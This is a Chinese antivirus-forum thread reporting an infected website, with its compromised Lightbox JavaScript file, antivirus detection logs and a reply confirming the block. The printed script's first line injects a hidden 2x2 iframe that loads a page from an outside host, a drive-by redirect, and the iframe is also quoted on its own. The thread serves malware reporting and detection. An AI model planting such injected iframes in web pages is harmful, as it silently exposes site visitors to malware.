查看: 881|回复: 1
收起左侧

[已鉴定] http://lipstickgunsales.com

[复制链接]
fireold
发表于 2013-7-18 20:18:22 | 显示全部楼层 |阅读模式
  1. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://redboneskingston.com/haod.html?j=663160></iframe>');

  2. /*
  3.         Lightbox JS: Fullsize Image Overlays
  4.         by Lokesh Dhakar - http://www.huddletogether.com

  5.         For more information on this script, visit:
  6.         http://huddletogether.com/projects/lightbox/

  7.         Script featured on Dynamic Drive code library Jan 24th, 06':
  8.         http://www.dynamicdrive.com

  9.         Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
  10.         (basically, do anything you want, just leave my name and link)
  11.         
  12.         Table of Contents
  13.         -----------------
  14.         Configuration
  15.         
  16.         Functions
  17.         - getPageScroll()
  18.         - getPageSize()
  19.         - pause()
  20.         - getKey()
  21.         - listenKey()
  22.         - showLightbox()
  23.         - hideLightbox()
  24.         - initLightbox()
  25.         - addLoadEvent()
  26.         
  27.         Function Calls
  28.         - addLoadEvent(initLightbox)

  29. */



  30. //
  31. // Configuration
  32. //
  33. // If you would like to use a custom loading image or close button reference them in the next two lines.
  34. var loadingImage = 'lightbox/loading.gif';
  35. var closeButton = 'lightbox/close.gif';





  36. //
  37. // getPageScroll()
  38. // Returns array with x,y page scroll values.
  39. // Core code from - quirksmode.org
  40. //


  41. function getPageScroll() {

  42.     var yScroll;

  43.     if (self.pageYOffset) {
  44.         yScroll = self.pageYOffset;
  45.     } else if (document.documentElement && document.documentElement.scrollTop) { // Explorer 6 Strict
  46.         yScroll = document.documentElement.scrollTop;
  47.     } else if (document.body) { // all other Explorers
  48.         yScroll = document.body.scrollTop;
  49.     }

  50.     arrayPageScroll = new Array('', yScroll)
  51.     return arrayPageScroll;

  52. }



  53. //
  54. // getPageSize()
  55. // Returns array with page width, height and window width, height
  56. // Core code from - quirksmode.org
  57. // Edit for Firefox by pHaez
  58. //


  59. function getPageSize() {

  60.     var xScroll, yScroll;

  61.     if (window.innerHeight && window.scrollMaxY) {
  62.         xScroll = document.body.scrollWidth;
  63.         yScroll = window.innerHeight + window.scrollMaxY;
  64.     } else if (document.body.scrollHeight > document.body.offsetHeight) { // all but Explorer Mac
  65.         xScroll = document.body.scrollWidth;
  66.         yScroll = document.body.scrollHeight;
  67.     } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
  68.         xScroll = document.body.offsetWidth;
  69.         yScroll = document.body.offsetHeight;
  70.     }

  71.     var windowWidth, windowHeight;
  72.     if (self.innerHeight) { // all except Explorer
  73.         windowWidth = self.innerWidth;
  74.         windowHeight = self.innerHeight;
  75.     } else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
  76.         windowWidth = document.documentElement.clientWidth;
  77.         windowHeight = document.documentElement.clientHeight;
  78.     } else if (document.body) { // other Explorers
  79.         windowWidth = document.body.clientWidth;
  80.         windowHeight = document.body.clientHeight;
  81.     }

  82.     // for small pages with total height less then height of the viewport
  83.     if (yScroll < windowHeight) {
  84.         pageHeight = windowHeight;
  85.     } else {
  86.         pageHeight = yScroll;
  87.     }

  88.     // for small pages with total width less then width of the viewport
  89.     if (xScroll < windowWidth) {
  90.         pageWidth = windowWidth;
  91.     } else {
  92.         pageWidth = xScroll;
  93.     }


  94.     arrayPageSize = new Array(pageWidth, pageHeight, windowWidth, windowHeight)
  95.     return arrayPageSize;
  96. }


  97. //
  98. // pause(numberMillis)
  99. // Pauses code execution for specified time. Uses busy code, not good.
  100. // Code from http://www.faqts.com/knowledge_base/view.phtml/aid/1602
  101. //


  102. function pause(numberMillis) {
  103.     var now = new Date();
  104.     var exitTime = now.getTime() + numberMillis;
  105.     while (true) {
  106.         now = new Date();
  107.         if (now.getTime() > exitTime) return;
  108.     }
  109. }

  110. //
  111. // getKey(key)
  112. // Gets keycode. If 'x' is pressed then it hides the lightbox.
  113. //

  114. function getKey(e) {
  115.     if (e == null) { // ie
  116.         keycode = event.keyCode;
  117.     } else { // mozilla
  118.         keycode = e.which;
  119.     }
  120.     key = String.fromCharCode(keycode).toLowerCase();

  121.     if (key == 'x') {
  122.         hideLightbox();
  123.     }
  124. }


  125. //
  126. // listenKey()
  127. //


  128. function listenKey() {
  129.     document.onkeypress = getKey;
  130. }


  131. //
  132. // showLightbox()
  133. // Preloads images. Pleaces new image in lightbox then centers and displays.
  134. //


  135. function showLightbox(objLink) {
  136.     // prep objects
  137.     var objOverlay = document.getElementById('overlay');
  138.     var objLightbox = document.getElementById('lightbox');
  139.     var objCaption = document.getElementById('lightboxCaption');
  140.     var objImage = document.getElementById('lightboxImage');
  141.     var objLoadingImage = document.getElementById('loadingImage');
  142.     var objLightboxDetails = document.getElementById('lightboxDetails');


  143.     var arrayPageSize = getPageSize();
  144.     var arrayPageScroll = getPageScroll();

  145.     // center loadingImage if it exists
  146.     if (objLoadingImage) {
  147.         objLoadingImage.style.top = (arrayPageScroll[1] + ((arrayPageSize[3] - 35 - objLoadingImage.height) / 2) + 'px');
  148.         objLoadingImage.style.left = (((arrayPageSize[0] - 20 - objLoadingImage.width) / 2) + 'px');
  149.         objLoadingImage.style.display = 'block';
  150.     }

  151.     // set height of Overlay to take up whole page and show
  152.     objOverlay.style.height = (arrayPageSize[1] + 'px');
  153.     objOverlay.style.display = 'block';

  154.     // preload image
  155.     imgPreload = new Image();

  156.     imgPreload.onload = function() {
  157.         objImage.src = objLink.href;

  158.         // center lightbox and make sure that the top and left values are not negative
  159.         // and the image placed outside the viewport
  160.         var lightboxTop = arrayPageScroll[1] + ((arrayPageSize[3] - 35 - imgPreload.height) / 2);
  161.         var lightboxLeft = ((arrayPageSize[0] - 20 - imgPreload.width) / 2);

  162.         objLightbox.style.top = (lightboxTop < 0) ? "0px" : lightboxTop + "px";
  163.         objLightbox.style.left = (lightboxLeft < 0) ? "0px" : lightboxLeft + "px";


  164.         objLightboxDetails.style.width = imgPreload.width + 'px';

  165.         if (objLink.getAttribute('title')) {
  166.             objCaption.style.display = 'block';
  167.             //objCaption.style.width = imgPreload.width + 'px';
  168.             objCaption.innerHTML = objLink.getAttribute('title');
  169.         } else {
  170.             objCaption.style.display = 'none';
  171.         }

  172.         // A small pause between the image loading and displaying is required with IE,
  173.         // this prevents the previous image displaying for a short burst causing flicker.
  174.         if (navigator.appVersion.indexOf("MSIE") != -1) {
  175.             pause(250);
  176.         }

  177.         if (objLoadingImage) {
  178.             objLoadingImage.style.display = 'none';
  179.         }
  180.         objLightbox.style.display = 'block';

  181.         // After image is loaded, update the overlay height as the new image might have
  182.         // increased the overall page height.
  183.         arrayPageSize = getPageSize();
  184.         objOverlay.style.height = (arrayPageSize[1] + 'px');

  185.         // Check for 'x' keypress
  186.         listenKey();

  187.         return false;
  188.     }

  189.     imgPreload.src = objLink.href;

  190. }





  191. //
  192. // hideLightbox()
  193. //


  194. function hideLightbox() {
  195.     // get objects
  196.     objOverlay = document.getElementById('overlay');
  197.     objLightbox = document.getElementById('lightbox');

  198.     // hide lightbox and overlay
  199.     objOverlay.style.display = 'none';
  200.     objLightbox.style.display = 'none';

  201.     // disable keypress listener
  202.     document.onkeypress = '';
  203. }




  204. //
  205. // initLightbox()
  206. // Function runs on window load, going through link tags looking for rel="lightbox".
  207. // These links receive onclick events that enable the lightbox display for their targets.
  208. // The function also inserts html markup at the top of the page which will be used as a
  209. // container for the overlay pattern and the inline image.
  210. //


  211. function initLightbox() {

  212.     if (!document.getElementsByTagName) {
  213.         return;
  214.     }
  215.     var anchors = document.getElementsByTagName("a");

  216.     // loop through all anchor tags
  217.     for (var i = 0; i < anchors.length; i++) {
  218.         var anchor = anchors[i];

  219.         if (anchor.getAttribute("href") && (anchor.getAttribute("rel") == "lightbox")) {
  220.             anchor.onclick = function() {
  221.                 showLightbox(this);
  222.                 return false;
  223.             }
  224.         }
  225.     }

  226.     // the rest of this code inserts html at the top of the page that looks like this:
  227.     //
  228.     // <div id="overlay">
  229.     //          <a href="#" onclick="hideLightbox(); return false;"><img id="loadingImage" /></a>
  230.     //  </div>
  231.     // <div id="lightbox">
  232.     //          <a href="#" onclick="hideLightbox(); return false;" title="Click anywhere to close image">
  233.     //                  <img id="closeButton" />               
  234.     //                  <img id="lightboxImage" />
  235.     //          </a>
  236.     //          <div id="lightboxDetails">
  237.     //                  <div id="lightboxCaption"></div>
  238.     //                  <div id="keyboardMsg"></div>
  239.     //          </div>
  240.     // </div>
  241.     var objBody = document.getElementsByTagName("body").item(0);

  242.     // create overlay div and hardcode some functional styles (aesthetic styles are in CSS file)
  243.     var objOverlay = document.createElement("div");
  244.     objOverlay.setAttribute('id', 'overlay');
  245.     objOverlay.onclick = function() {
  246.         hideLightbox();
  247.         return false;
  248.     }
  249.     objOverlay.style.display = 'none';
  250.     objOverlay.style.position = 'absolute';
  251.     objOverlay.style.top = '0';
  252.     objOverlay.style.left = '0';
  253.     objOverlay.style.zIndex = '90';
  254.     objOverlay.style.width = '100%';
  255.     objBody.insertBefore(objOverlay, objBody.firstChild);

  256.     var arrayPageSize = getPageSize();
  257.     var arrayPageScroll = getPageScroll();

  258.     // preload and create loader image
  259.     var imgPreloader = new Image();

  260.     // if loader image found, create link to hide lightbox and create loadingimage
  261.     imgPreloader.onload = function() {

  262.         var objLoadingImageLink = document.createElement("a");
  263.         objLoadingImageLink.setAttribute('href', '#');
  264.         objLoadingImageLink.onclick = function() {
  265.             hideLightbox();
  266.             return false;
  267.         }
  268.         objOverlay.appendChild(objLoadingImageLink);

  269.         var objLoadingImage = document.createElement("img");
  270.         objLoadingImage.src = loadingImage;
  271.         objLoadingImage.setAttribute('id', 'loadingImage');
  272.         objLoadingImage.style.position = 'absolute';
  273.         objLoadingImage.style.zIndex = '150';
  274.         objLoadingImageLink.appendChild(objLoadingImage);

  275.         imgPreloader.onload = function() {}; // clear onLoad, as IE will flip out w/animated gifs
  276.         return false;
  277.     }

  278.     imgPreloader.src = loadingImage;

  279.     // create lightbox div, same note about styles as above
  280.     var objLightbox = document.createElement("div");
  281.     objLightbox.setAttribute('id', 'lightbox');
  282.     objLightbox.style.display = 'none';
  283.     objLightbox.style.position = 'absolute';
  284.     objLightbox.style.zIndex = '100';
  285.     objBody.insertBefore(objLightbox, objOverlay.nextSibling);

  286.     // create link
  287.     var objLink = document.createElement("a");
  288.     objLink.setAttribute('href', '#');
  289.     objLink.setAttribute('title', 'Click to close');
  290.     objLink.onclick = function() {
  291.         hideLightbox();
  292.         return false;
  293.     }
  294.     objLightbox.appendChild(objLink);

  295.     // preload and create close button image
  296.     var imgPreloadCloseButton = new Image();

  297.     // if close button image found,
  298.     imgPreloadCloseButton.onload = function() {

  299.         var objCloseButton = document.createElement("img");
  300.         objCloseButton.src = closeButton;
  301.         objCloseButton.setAttribute('id', 'closeButton');
  302.         objCloseButton.style.position = 'absolute';
  303.         objCloseButton.style.zIndex = '200';
  304.         objLink.appendChild(objCloseButton);

  305.         return false;
  306.     }

  307.     imgPreloadCloseButton.src = closeButton;

  308.     // create image
  309.     var objImage = document.createElement("img");
  310.     objImage.setAttribute('id', 'lightboxImage');
  311.     objLink.appendChild(objImage);

  312.     // create details div, a container for the caption and keyboard message
  313.     var objLightboxDetails = document.createElement("div");
  314.     objLightboxDetails.setAttribute('id', 'lightboxDetails');
  315.     objLightbox.appendChild(objLightboxDetails);

  316.     // create caption
  317.     var objCaption = document.createElement("div");
  318.     objCaption.setAttribute('id', 'lightboxCaption');
  319.     objCaption.style.display = 'none';
  320.     objLightboxDetails.appendChild(objCaption);

  321.     // create keyboard message
  322.     var objKeyboardMsg = document.createElement("div");
  323.     objKeyboardMsg.setAttribute('id', 'keyboardMsg');
  324.     objKeyboardMsg.innerHTML = 'press <kbd>x</kbd> to close';
  325.     objLightboxDetails.appendChild(objKeyboardMsg);


  326. }




  327. //
  328. // addLoadEvent()
  329. // Adds event to window.onload without overwriting currently assigned onload functions.
  330. // Function found at Simon Willison's weblog - http://simon.incutio.com/
  331. //


  332. function addLoadEvent(func) {
  333.     var oldonload = window.onload;
  334.     if (typeof window.onload != 'function') {
  335.         window.onload = func;
  336.     } else {
  337.         window.onload = function() {
  338.             oldonload();
  339.             func();
  340.         }
  341.     }

  342. }



  343. addLoadEvent(initLightbox); // run initLightbox onLoad
复制代码

  1. <iframe name=Twitter scrolling=auto frameborder=no align=center height=2
  2. width=2 src=http://redboneskingston.com/haod.html?j=663160>
  3. </iframe>
复制代码



Avira
2013/7/18 下午 08:14 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\81REZ51I\lightbox[1].js'
      包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
      已採取動作:
      檔案會移動至 '55ea7e0b.qua' 名稱底下的隔離區目錄。.

2013/7/18 下午 08:14 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        772
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/7/18 下午 08:14 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\95TAM12D\jquery.nivo.slider.pack[1].js'
      包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
      已採取動作:
      檔案會移動至 '557270bd.qua' 名稱底下的隔離區目錄。.

2013/7/18 下午 08:14 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        766
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/7/18 下午 08:14 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\lipstickgunsales_com[1].htm'
      包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
      已採取動作:
      發生錯誤,檔案未刪除。錯誤識別碼:26003.
      檔案無法刪除!.
      嘗試使用 ARK 程式庫執行動作。.
      檔案會移動至 '4f065f44.qua' 名稱底下的隔離區目錄。.

2013/7/18 下午 08:14 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        766
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/7/18 下午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\81REZ51I\lightbox[1].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作:傳輸至掃描程式

2013/7/18 下午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\95TAM12D\jquery.nivo.slider.pack[1].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作:拒絕存取

2013/7/18 下午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\81REZ51I\lightbox[1].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作:拒絕存取

2013/7/18 下午 08:14 [Web Protection] 發現惡意程式碼
      從 URL "http://lipstickgunsales.com/js/jquery-1.4.3.min.js" 存取資料時,
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作:封鎖的檔案

2013/7/18 下午 08:14 [Web Protection] 發現惡意程式碼
      從 URL "http://lipstickgunsales.com/library/common.js" 存取資料時,
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作:封鎖的檔案

2013/7/18 下午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\95TAM12D\jquery.nivo.slider.pack[1].js 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作:傳輸至掃描程式

2013/7/18 下午 08:14 [Web Protection] 發現惡意程式碼
      從 URL "http://lipstickgunsales.com/lightbox/lightbox.js" 存取資料時,
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作:已略過

2013/7/18 下午 08:14 [Web Protection] 發現惡意程式碼
      從 URL "http://lipstickgunsales.com/js/jquery.nivo.slider.pack.js" 存取資料時,
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作:已略過

2013/7/18 下午 08:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\VUGD722P\lipstickgunsales_com[1].htm 中
      偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
      執行的動作:傳輸至掃描程式

2013/7/18 下午 08:14 [Web Protection] 發現惡意程式碼
      從 URL "http://lipstickgunsales.com/" 存取資料時,
      發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
      已採取動作:已略過



fs14.jpg
释然的心
发表于 2013-7-19 23:06:02 | 显示全部楼层
本帖最后由 释然的心 于 2013-7-19 23:07 编辑

2013-7-19 23:05:29        网站]ht tp://lipstickgunsales.com/[/url] 包含恶意程序 检测到
2013-7-19 23:05:29        网站h ttp://lipstickgunsales.com/[/url][/url] 包含恶意程序 阻止
2013-7-19 23:05:29        网站[ht tp://lipstickgunsales.com/favicon.ico[/url][/url] 包含恶意程序 检测到
2013-7-19 23:05:29        网站h ttp://lipstickgunsales.com/favicon.ico[/url][/url] 包含恶意程序 阻止
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 21:09 , Processed in 0.133527 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表